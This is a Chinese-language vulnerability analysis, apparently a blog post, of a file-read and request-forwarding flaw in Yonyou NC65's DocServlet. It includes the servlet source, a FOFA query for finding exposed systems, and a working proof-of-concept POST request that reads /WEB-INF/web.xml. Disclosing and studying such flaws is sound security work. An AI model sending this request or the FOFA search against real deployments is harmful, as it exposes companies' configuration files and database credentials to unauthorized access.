漏洞简介
用友NC是用公司推出的一款企业管理软件,涵盖财务、供应链、生产制造等多个业务领域,旨在帮助企业实现信息化管理。
用友NC的DocServlet组件存在请求转发和文件读取漏洞。该Servlet在处理文档相关操作时,可能未能充分验证用户提供的文件路径或请求参数。攻击者可以通过构造特定的请求,利用该Servlet的转发功能,访问服务器上的任意文件,包括敏感的配置文件、系统文件或用户数据。此外,该漏洞也可能允许攻击者将请求转发到内部或外部的任意服务器。
该漏洞可能导致攻击者读取服务器上的敏感文件,获取系统配置信息、数据库凭证或其他关键数据,从而威胁到企业的数据安全和系统完整性。同时,请求转发功能也可能被滥用,用于探测内部网络或发起进一步的攻击。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
直接看DocServlet的实现逻辑吧,代码就几行,很简单
package nc.uap.lfw.file.action;
import java.io.IOException;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.lang.StringUtils;
public class DocServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String url = req.getParameter("disp");
if (!StringUtils.isEmpty(url)) {
if (url.toLowerCase().startsWith("/portal")) {
url = url.substring(7);
}
if (!StringUtils.isEmpty(url)) {
if (!url.toLowerCase().startsWith("/docctr/open/office")) {
byte[] byte1 = url.getBytes("ISO-8859-1");
url = new String(byte1, "UTF-8");
RequestDispatcher dispatcher = req.getSession().getServletContext().getRequestDispatcher(url);
dispatcher.forward(req, resp);
}
}
}
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
这个 DocServlet 的 Java Servlet,其核心功能是接收来自客户端的 disp HTTP 参数,并将其作为内部路径,使用 RequestDispatcher 将请求转发到服务器上的其他资源。
由于代码在处理用户传入的 disp 参数时,仅进行了一次简单的、可被轻易绕过的黑名单前缀检查(!url.toLowerCase().startsWith("/docctr/open/office")),而完全没有对目录遍历字符(如 ../)进行过滤或规范化处理,最终导致攻击者可以构造恶意路径。这造成了一个严重的任意文件读取/请求转发漏洞。攻击者可利用此漏洞读取 Web 应用目录下的任意敏感文件(如 WEB-INF/web.xml 配置文件、数据库凭证文件、Java 类文件等),或将请求转发到应用内部未授权的 Servlet,从而执行越权操作。
漏洞复现
可以根据包名和方法名直接搜在哪一个modules模块下面,参考【一日一技】快速从一堆jar包找到包含特定包名的jar
POST /service/~webrt/nc.uap.lfw.file.action.DocServlet HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-www-form-urlencoded
pageId=login&disp=/WEB-INF/web.xml

找方法所在到jar包的模块位置modules/webrt/lib/pubwebrt_fmgrLevel-1.jar后,直接访问即可

成功读取到/WEB-INF/web.xml 文件内容


